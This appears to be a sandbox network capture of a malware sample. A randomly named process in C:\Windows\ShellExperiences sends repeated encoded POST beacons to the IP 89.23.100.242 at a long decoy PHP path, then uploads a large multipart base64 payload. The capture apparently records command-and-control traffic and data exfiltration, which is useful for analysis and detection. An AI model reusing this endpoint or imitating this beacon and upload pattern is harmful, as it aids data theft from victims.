Jan 10, 2025 07:57:45.855304956 CET	2544	OUT	Data Raw: 59 55 46 55 5e 56 56 51 58 5b 57 56 50 53 5b 56 55 51 5e 52 54 5a 51 53 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YUFU^VVQX[WVPS[VUQ^RTZQSRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$8<-9^<68Z;><=)8X"4V(#3_>?% ':'_!/Y.
Jan 10, 2025 07:57:46.222455978 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:46.356924057 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:47.815390110 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:57:48.173391104 CET	2544	OUT	Data Raw: 59 50 46 57 5e 5f 53 53 58 5b 57 56 50 53 5b 50 55 57 5e 5e 54 5d 51 5b 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YPFW^_SSX[WVPS[PUW^^T]Q[RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'A.!$<-\( X-:)<-$(;8]"$ ?0*>A1='$'_!/Y.
Jan 10, 2025 07:57:48.556001902 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:48.685468912 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:48.820349932 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:49.173388004 CET	2544	OUT	Data Raw: 5c 55 46 50 5e 56 53 50 58 5b 57 56 50 5e 5b 53 55 57 5e 52 54 5e 51 5b 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \UFP^VSPX[WVP^[SUW^RT^Q[RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'E,$<1<P;;\1T?+<;464,??^)Y6F$.#3'_!/Y.=
Jan 10, 2025 07:57:49.563672066 CET	225	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 37 3a 34 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:57:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:49.717104912 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:50.067127943 CET	2544	OUT	Data Raw: 59 50 43 50 5e 59 56 50 58 5b 57 56 50 5f 5b 53 55 51 5e 5c 54 5f 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YPCP^YVPX[WVP_[SUQ^\T_QYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$/!/+=.?57-9-?(('"7W<0/^+?"@%=$^3*'_!/Y.9
Jan 10, 2025 07:57:50.463190079 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:50.590858936 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:50.724101067 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:51.079622030 CET	2544	OUT	Data Raw: 5c 55 43 5e 5e 5e 56 56 58 5b 57 56 50 58 5b 52 55 51 5e 5f 54 58 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \UC^^^VVX[WVPX[RUQ^_TXQ^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;$>.:?Y;:><.8+85(##Z*>@$-3'_!/Y.%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:51.226663113 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2032 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:51.579586983 CET	2032	OUT	Data Raw: 59 56 43 5f 5e 5c 53 57 58 5b 57 56 50 5c 5b 54 55 52 5e 5d 54 5e 51 53 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YVC_^\SWX[WVP\[TUR^]T^QSRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$83\+="<[,\.<(\(8;6' *#)2>;0'_!/Y.
Jan 10, 2025 07:57:51.993340015 CET	374	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 37 3a 35 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 39 38 0d 0a 0f 1e 3a 0e 20 3b 06 1e 25 06 3e 0a 39 01 32 0b 2b 1e 3c 59 2a 3e 30 03 29 1d 2c 0f 2e 01 37 55 20 28 3a 07 3c 22 3e 50 27 5a 34 55 25 1d 21 59 0c 13 26 10 2b 14 03 1e 3d 2a 02 1c 2b 31 3d 1b 30 55 20 07 27 13 03 18 23 01 30 5e 3c 39 2e 0c 3c 0f 25 1f 39 3a 38 5a 3e 3c 3f 0c 27 26 2a 57 0c 1f 26 53 21 31 36 09 36 1c 26 12 33 16 27 53 33 3b 2c 50 32 06 34 04 34 3a 27 1d 3a 00 3c 1f 22 10 2c 12 2a 2e 3d 0c 35 32 20 50 2b 06 20 51 22 0d 22 50 [TRUNCATED] Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:57:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding98: ;%>92+<Y>0),.7U (:<">P'Z4U%!Y&+=+1=0U '#0^<9.<%9:8Z><?'&W&S!166&3'S3;,P244:':<",.=52 P+ Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:51.383697987 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:51.736162901 CET	2544	OUT	Data Raw: 59 5e 43 57 5e 5f 56 50 58 5b 57 56 50 53 5b 56 55 5d 5e 5e 54 5d 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y^CW^_VPX[WVPS[VU]^^T]Q\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR',;]>.&+?/U?\)(Y!$,3?Y,=%=,&:'_!/Y.
Jan 10, 2025 07:57:52.125248909 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:52.278945923 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:52.411108971 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2536 Expect: 100-continue
Jan 10, 2025 07:57:52.767134905 CET	2536	OUT	Data Raw: 5c 54 46 57 5b 5b 56 56 58 5b 57 56 50 5b 5b 52 55 5c 5e 5d 54 5a 51 5b 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \TFW[[VVX[WVP[[RU\^]TZQ[RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'B8/?-[(6;/9(=$\+86,(3/=:B&#3'_!/Y.-
Jan 10, 2025 07:57:53.150372982 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:53.277571917 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:53.472232103 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:53.829628944 CET	2536	OUT	Data Raw: 5c 53 43 56 5b 5d 56 50 58 5b 57 56 50 5b 5b 5a 55 56 5e 5b 54 5d 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \SCV[]VPX[WVP[[ZUV^[T]QZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'C/1?(=<<Z;!+=(0Y"7'</Z=:243'_!/Y.
Jan 10, 2025 07:57:54.220063925 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:54.350802898 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:54.522531033 CET	577	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----s4VOHFAR20G8vVPIwClEHtRE0DwTdOyX8p User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 204914 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:54.876604080 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 73 34 56 4f 48 46 41 52 32 30 47 38 76 56 50 49 77 43 6c 45 48 74 52 45 30 44 77 54 64 4f 79 58 38 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------s4VOHFAR20G8vVPIwClEHtRE0DwTdOyX8pContent-Disposition: form-data; name="0"Content-Type: text/plainYSFT[\SPX[WVP_[RUW^^TPQZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^
Jan 10, 2025 07:57:54.881937981 CET	4944	OUT	Data Raw: 6e 72 6d 32 36 54 79 53 42 4e 68 77 50 78 6d 2b 56 31 50 44 33 50 58 30 73 30 39 46 43 49 7a 54 78 70 76 4e 30 4d 66 6d 38 73 33 50 36 6e 4d 4a 7a 48 47 54 6b 7a 5a 79 35 2b 4f 71 53 76 45 46 36 38 47 6e 34 64 71 49 79 59 48 70 4d 45 5a 72 63 52 Data Ascii: nrm26TySBNhwPxm+V1PD3PX0s09FCIzTxpvN0Mfm8s3P6nMJzHGTkzZy5+OqSvEF68Gn4dqIyYHpMEZrcReBNyuRL9qq71qPe7cVvW95CZq6rH69ieulhX9+T5wBLeKWWD3I8hKXGxXzaMoyitYO2eorCp4MOM29RpWF/zkJ8Gu9t8o9nzQedUMhbrstrHuIg4GDy1XkZruY5HF365qXi13IxNjvL+aN/NPKEonmdCKP1p5fGPX
Jan 10, 2025 07:57:54.881988049 CET	4944	OUT	Data Raw: 76 7a 49 65 72 4a 65 79 70 61 6f 61 61 6d 41 33 6b 4c 4a 30 6c 37 4b 62 41 51 54 77 4c 67 71 6d 48 39 46 4a 5a 73 65 6f 73 56 36 4a 57 6e 30 37 4f 31 69 6f 6d 6a 59 2b 75 6f 37 62 46 73 67 69 4c 4f 6b 56 38 6c 48 77 37 49 5a 63 55 30 6f 41 6f 66 Data Ascii: vzIerJeypaoaamA3kLJ0l7KbAQTwLgqmH9FJZseosV6JWn07O1iomjY+uo7bFsgiLOkV8lHw7IZcU0oAof31RBLo1XNw3PU4Ck7fY1T4bjWA5gGdvDUvPn43E3TWUs0QTjJqpPxx31A0nB5KjPFaUk2nzBzGGiBUGusgvNvQ1u0VFRpdW9z8e04qqvfH6GOUCo06pCwFChyjhsJ3wRWNDy+Lod+wT80hAVc6Ig6YtvNTllPzwIv
Jan 10, 2025 07:57:54.882024050 CET	2472	OUT	Data Raw: 63 48 62 68 54 68 76 6c 47 5a 70 79 5a 45 4a 30 69 76 4b 76 52 4e 53 46 65 68 7a 6b 74 6e 2b 4f 67 6e 61 36 30 6c 36 6a 36 34 4f 70 4a 56 4c 34 34 7a 4f 35 67 6b 65 35 37 66 32 7a 35 4a 50 6b 44 4f 34 33 70 7a 78 35 4e 54 30 55 4b 46 61 52 31 54 Data Ascii: cHbhThvlGZpyZEJ0ivKvRNSFehzktn+Ogna60l6j64OpJVL44zO5gke57f2z5JPkDO43pzx5NT0UKFaR1TzDJTqOPPXXrHM1S82EnNg+qbO7iJ/wC4nYePPQBrbXMLOVO7ARJTNoVpvOPvywI7g36I/SYOvrxoef92zQsdGxRV/t/DGspcxvmq1gt9kM7G+VVvrZHZ5Xl4POVVXEzdMIxU2IHkW1skpeo9LVYufy7U+dmJYXrIs
Jan 10, 2025 07:57:54.882052898 CET	2472	OUT	Data Raw: 50 66 38 75 34 34 6b 4a 2f 73 45 37 70 6b 2b 54 30 68 4b 4c 4f 73 37 4e 30 48 4b 64 5a 77 66 51 58 4c 46 58 6f 50 4c 4a 47 38 2b 4c 32 2f 6f 4c 55 56 39 69 5a 2f 76 63 2f 65 4c 36 6e 31 54 33 4e 38 66 75 61 48 2b 4b 66 79 62 32 51 6c 74 43 6c 77 Data Ascii: Pf8u44kJ/sE7pk+T0hKLOs7N0HKdZwfQXLFXoPLJG8+L2/oLUV9iZ/vc/eL6n1T3N8fuaH+Kfyb2QltClwpy8cqzhvWfFJScRQrKOcXjr/8HVd8dz9b/xX1V0UFbFW2oUXuv0tpF29gzihq1lVDUJmpVjab2plZJjGqo2mq1iL1iFqW1R1F7hTyJ9vt7nuePeDXJzb036eec8z7nvM/7w/xw5N1JcD5LUGTDDQ/b6NhtoFUF95W
Jan 10, 2025 07:57:54.882085085 CET	2472	OUT	Data Raw: 58 76 51 71 6d 44 33 39 30 6c 6a 48 71 2b 4b 2b 61 6f 69 38 6f 77 4a 2b 4a 74 74 6a 6f 48 47 6c 6b 35 4d 2f 76 46 50 72 35 65 67 37 59 78 4a 39 44 77 34 4f 44 70 6a 7a 55 69 4e 61 79 7a 54 55 56 6a 47 44 2b 32 76 72 6c 44 53 38 63 57 74 4a 41 64 Data Ascii: XvQqmD390ljHq+K+aoi8owJ+JttjoHGlk5M/vFPr5eg7YxJ9Dw4ODpjzUiNayzTUVjGD+2vrlDS8cWtJAd3mwhySP3g7MarI4bzbU6GEl32lThy6kiuviz5hPD/jgRcj861r0TjOtCGX7/Z8ruiX53s8QwW+XZT8Pk8arfAlWtfQMWes3IaeIXhoPz/A2vAk+feU2foJH1fiYyetd+4EcO6RjtVBzH0vad4lq6zxY3l5/+5bmzo
Jan 10, 2025 07:57:54.882107973 CET	2472	OUT	Data Raw: 79 68 51 67 51 72 4d 71 6a 2b 57 68 5a 37 54 56 6a 34 61 47 4a 76 59 33 58 63 62 48 32 78 61 30 4f 44 33 7a 35 48 74 4a 75 4f 4c 62 35 42 33 4d 54 71 2b 56 58 4d 4d 44 2f 52 4a 34 59 48 6f 4a 44 78 78 38 2b 4a 62 48 47 38 6e 6a 32 71 74 76 71 38 Data Ascii: yhQgQrMqj+WhZ7TVj4aGJvY3XcbH2xa0OD3z5HtJuOLb5B3MTq+VXMMD/RJ4YHoJDxx8+JbHG8nj2qtvq8dwg7XcZ/lrubmOMR74E+L99jSojRBBlfBAqx6V2qOh8mihtRGMkPD1RqlKl4gTrMuQv4dIm8Xc77y3SU/fIlzdf8RmQARoh1wIq/as2kGwMx2iLttfqi7Bnv7xds/R/1vMZz8e5t+vqEtyxpN78Pf2ETyBOorcM4G
Jan 10, 2025 07:57:54.882143974 CET	2472	OUT	Data Raw: 44 64 33 4e 74 76 4c 46 2b 6f 4e 6d 52 44 57 79 4c 61 4a 34 52 44 5a 61 68 52 51 4f 39 72 4b 50 39 70 44 53 6b 5a 49 67 5a 73 32 78 62 4b 78 74 31 56 61 32 48 58 66 32 66 6d 34 39 36 64 55 74 6d 42 54 7a 71 71 70 62 4b 39 64 49 53 73 74 65 44 37 Data Ascii: Dd3NtvLF+oNmRDWyLaJ4RDZahRQO9rKP9pDSkZIgZs2xbKxt1Va2HXf2fm496dUtmBTzqqpbK9dISsteD7htJNpIDg1woRgL7ZqyrTSVDvph8N3c6mzyGLkTd3rTrBN7zQRKUcQDkVG0oE8PqMlJ1m4FpjITj9uWp4CrQ7e8cyVkAnjJOej2UKCUntukpxAuI1NumZ1sS+ZuLHQHyVROKbKsMti4qDZ0SRWQJtx7m71JlqoIgpy
